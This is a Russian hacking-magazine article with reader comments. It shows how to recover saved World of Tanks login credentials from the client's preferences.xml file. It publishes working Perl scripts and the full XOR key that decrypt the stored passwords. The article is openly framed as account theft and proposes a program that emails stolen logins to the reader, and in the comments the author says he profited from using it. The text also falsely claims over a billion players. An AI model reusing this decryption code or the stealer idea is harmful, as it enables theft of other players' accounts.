Простая тактика войны! Достаем игровой аккаунт из клиента игры «WORLD OF TANKS!»
Самые распространенные способы угона игровых аккаунтов: «Социальная инженерия» и взлом базы данных, но не каждому это под силу. Сегодня я расскажу тебе абсолютно другой способ, намного легче. Для себя я открыл его в игре World Of Tanks (сокращенно WOT). Секрет его состоит в такой функции как "Сохранить пароль", которая имеется наверно во всех клиентах для онлайн игр..
Предыстория.
Итак, давай сначала разберемся о каком проекте идет речь: World of Tanks («Мир танков») - массовая многопользовательская онлайн-игра, созданная в 2010 году, полностью посвященная бронированным машинам середины XX века. Обладательница премии "КРИ 2010 - Лучшая клиентская онлайн- игра", авторами которой является компания Wargaming.net.
Заинтересовала она меня благодаря друзьям, которые предложили мне составить им компанию в ярких и стратегических баталиях, предоставляемых игрой, и, конечно, я не смог им отказать Помимо игры, радовало то, что проект активно развивался, почти каждые две недели появлялось что то новое, к игре присоединялось все больше игроков, сейчас, кстати, это число перевалило, за 1 000 000 000 пользователей. Читов или еще чего подобного в сети пока не было (по крайней мере в паблике), так что все было вроде как нормально
Очередным выходным утром, запуская игру мой взгляд опять упал на кнопку "Сохранить пароль", хотя я и раньше замечал ее, но было все как то лень разобраться. Сейчас же мне не куда было торопиться, да и появилось на конец желание узнать как она работает, и можно ли "вытянуть" данные об аккаунте из игры.
Поехали.
Для начало нужно было разобраться, как и куда игра сохраняет наши данные - логин и пароль. Мысли у меня было всего две: первая - реестр, и вторая - файл на диске. Т.к первый способ был гораздо легче, я решил начать именно с него. Для этого мне пригодилась наверняка всем известная утилита Regshot, позволяющая делать, и сравнивать снимки реестра. Принцип идеи был прост: сменить на сайте игры пароль от своего аккаунта (чтобы клиент сохранил его заново), сделать первый снимок перед запуском игры, и после авторизации - второй. Проделав эти операции, к большому сожалению ничего интересного для себя я не увидел, так что единственное что оставалось, переходить к варианту номер два - клиент хранит данные в файле на жестком диске.
Что бы определить в каком файле именно, нужно было перехватить WinApi функции:
WriteFile
WriteFileEx
CreateFileW
Благо под рукой оказалась очень кульная утилита API Monitor, которая и занимается отслеживанием WinApi функций. Открыв ее, в левом верхнем окне "API Capture Filter", я отметил нужные функции, находились они в:
kernel32.dll - System Services - File Services – Local File Systems - File Management
Потом запустил WOT, переключился обратно на API Monitor, и в окне Running Processes выбрав нужный процесс, поставил "hook", нажатием ПКМ и соответствующем выбором пункта в всплывающем меню. Теперь оставалось запустить игру, авторизоваться и посмотреть результаты. После выполнения всех этих действий, в API Monitor меня заинтересовало следующие: вызов функции CreateFileW:
CreateFileW ( "C:/Documents and Settings/Admin/Application Data/Wargaming.net/WorldOfTanks/preferences.xml", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0x0012d50c, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ) 0x00000874
Как видно, игра создает файл, и возвращает дискриптор на него - 0x00000874, по которому дальше идет куча вызовов WriteFile, среди них нашлось именно то, что мне нужно было, запись в файл строк:
1. proud-pank@xakep.ru
2. .I29iZnVzY2F0ZTpwXQVXVnRJWnBdBVdWdEk=.:
С первым пунктом все просто, а вот пароль пришлось расшифровывать. Для начало открыл этот файл, нашел строки, и сохранил их себе на жесткий диск, что бы не юзать hook каждый раз.
Истина где то рядом.
И так, сразу стало понятно что пароль зашифрован при помощи base64. Расшифровав, у меня получилась строчка:
#obfuscate:p]WVtIZp]WVtI
Хотя пароль для теста, я выбрал 111111111111111. Среди всех мысль что полезли мне в голову, самая здравая, и единственная которую стоило попробовать, идея с XOR. Если это так, то тогда каждому символу, задавалось свое число, т.к пароль у меня был, из одинаковых символов, а в зашифрованном виде из разных. Что бы это проверить, я изменил пароль на 222222, и повторил то, что уже описано выше, теперь за base64 у меня получилось:
#obfuscate:s^TUw
Сразу было заметно, что после #obfuscate: идет столько же символов, из скольких состоял мой пароль, #obfuscate: я решил в счет не брать. И так, что бы проверить действительно ли XOR это, нужно было сделать следующие:
1. Взять первый символ, из зашифрованного пароля, который идет после #obfuscate
2. Выполнить XOR этого символа, на числа 0 - 500 (Уже после написания статьи я понял что знал свойства XOR не очень хорошо, на много проще было бы За XOR'ить истинный пароль с тем, который получился у нас за base64, что бы получить ключи для расшифровки).
3. Если при XOR'е на какой то число, получился первый символ истинного пароля, запомнить его.
Чтобы не перебирать числа от 0 до 500 в ручную, пришлось написать небольшой скрипт на perl:
$a= "p"; # первый символ зашифрованного пароля, после #obfuscate
$b= "1"; # первая цифра настоящего пароля
for ($x=0; $x < 500 ; $x++) # перебераем числа от 0 до 500
{
if ($b == chr(ord($a)^$x)) {print "$x"; } # если при XOR, результат совпал с $b, выводим на экран
}
На экране у меня появилось число 65, по идее это число, ключ для шифрования первого числа. Что бы убедиться на 100%, нужно всего лишь было, взять первый символ, второго зашифрованного пароля, и сделать с ним функцию XOR, в итоге долнжно получится число 2 - первый символ второго не зашифрованного пароля. Сделал я это на том же perl'e, в одну строку (хотя на нем и так можно абсолютно все в 1 строку написать :
print chr(ord("s") ^ 65);
И что же мне выдал скрипт ? Хе-хе, цифру 2
И так, дело осталось почти за малым, вычислить числа, на которые XOR'ятся остальные символы пароля. Для этого, на основе первого я написал еще один скрипт, с тем же алгоритмом, только теперь берет каждый символ, и вычесляет для него ключ:
use MIME::Base64; # модуль для работы с Base64
$pass= "I29iZnVzY2F0ZTpwXQVXVnRJWnBdBVdWdEk=";
$decode_pass = "111111111111111";
$pass = decode_base64($pass); # Получается строка типо "#obfuscate:p]TUwKXr"
$pass = substr($pass, 11, length($pass) -1); # Обрезаем "#obfuscate:", остаеться только пароль
print "$pass\n";
for ($x=0; $x < length($pass) ; $x++) # по очереди перебераем все символы
{
$char_pass = substr($pass, $x, 1); # берем очередной символ из $pass
$char_decode_pass = substr($decode_pass, $x, 1); # берем очередной символ из $decode_pass
for ($q = 0; $q < 500; $q++)
# XOR'им $char_pass на числа в диапозоне от 0 до 500
{
$num = chr(ord($char_pass) ^ $q);
if ($num == $char_decode_pass) # если совпало
{
print "$x: $q\n"; # выводим на экран
}
}
}
Результат выполнения этого скрипта ты можешь посмотреть на скриншоте. Видно, что для каждых 7 символов, числа для XOR повторяются. Если хочешь, можешь проверить правильность скрипта еще раз, опять взять любое число из тех, что нам выдал срипт, сделать XOR на тот символ, для которого оно было найдено и проверить, равен ли результат истине.
Конец пути
Итак, дело оставалось за малым, написать скрипт, который будет полностью расшифровать нам пароль. На основе предыдущих, и разобравшись с логикой, сделать это было легко, получился у меня такой:
use MIME::Base64;
$pass= "I29iZnVzY2F0ZTpwXQVXVnRJWnBdBVdWdEk=";
@key = (65, 108, 52, 102, 103, 69, 120, 107) x 5; # массив чисел для XOR
$pass = decode_base64($pass);
$pass = substr($pass, 11, length($pass) -1);
for ($x=0; $x < length($pass) ; $x++)
{
$char_pass = substr($pass, $x, 1); # берем очередной символ
$result = $result.chr(ord($char_pass) ^ @key[$x]); # XOR'им, и добавляем к тому что есть
}
print "Password = $result"; # Выводим расшифрованный пароль на экран
На скриншоте можешь увидеть, как все прекрасно работает
Итак, вернемся к тому, что было сказано в самом начале, "угону игровых аккаунтов". Теперь тебе никто не сможет помешать написать программу, которая выдирала бы пароль с логином из этого файла, и отправляла тебе на почту, хотя цель данной статьи совсем не в этом, а в том, что бы показать тебе - "не все так тяжело, как кажется"
Удачи!.
Главный сайт игры WOT - http://worldoftanks.ru
Онлайн сервис для расшифровки base64 - http://base64decode.org
Written by: Fairhawk
Email: eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%70%72%6f%75%64%2d%70%61%6e%6b%40%78%61%6b%65%70%2e%72%75%22%3e%70%72%6f%75%64%2d%70%61%6e%6b%40%78%61%6b%65%70%2e%72%75%3c%2f%61%3e%27%29%3b'))
Исходники прилагаются:
Вложение | Размер |
---|---|
Source.zip | 1.68 КБ |
- Добавить комментарий
- 51064 просмотра
Комментарии
19 комментария(ев)Дата: Пнд, 18/04/2011 - 13:28
Класс!
Дата: Пнд, 18/04/2011 - 15:25
да уж, xor, разработчики голову не ломали
Дата: Пнд, 18/04/2011 - 15:48
1ккк пользователей или все же аккаунтов? Пруф, будте добры...Даже у фейсбука нет столько адептов =)
И самое главное: багрепорт разработчикам отправили?)
Не флуди, редактируй свои комментарии
Дата: Пнд, 18/04/2011 - 16:33
А зачем багрепорт? Это же не баг. Просто разработчики решили сохранять таким образом пароли. Я думаю многие сохраняют так в клиентах
Дата: Пнд, 18/04/2011 - 20:07
Ну тем не менее. Настоящий Робин Гуд написал бы...
Дата: Пнд, 18/04/2011 - 20:45
в соурс думал лежит готовый "кряк"))) Автор молодчик, такие статьи одно удовольствие читать
Цитировать
Не всем суждено WiteHat хакером быть... )))
@Fairhawk:
При грамотном раскладе ты бы мог денюФку заработать, но в этой ситуации тоже... бабка надвое сказала)))
Дата: Пнд, 18/04/2011 - 23:06
Kuco слишком лень
Статье на самом деле уже месяца 2, сначала я сам способ юзал, потом выложил узкому кругу людей на coru.in, теперь тут. Из публичных проектов, этот самый первый где статья засветилась.
Спасибо всем кому понравилось.
UPD. jimmyjonezz, скажем так, я и так с этого кое что поимел, за первый месяц
Дата: Втр, 19/04/2011 - 07:45
Цитировать
Именно так. Хотел пустить статью в следующий номер журнала, но как то совсем тухло у нас со статьями для этого нового номера...
Дата: Втр, 19/04/2011 - 23:23
Клевая статья!
Интересно, что были расписаны мысли возникавшие в процессе. Получилось интереснее, чем простой мануал по хаку.
Дата: ЧТ, 21/04/2011 - 03:28
эх...а я ведь играл в это с годик назад... потом чегото надоело... ибо ждать начало боя было уныло, порой когда игроков много он оооочень долго ищет бой...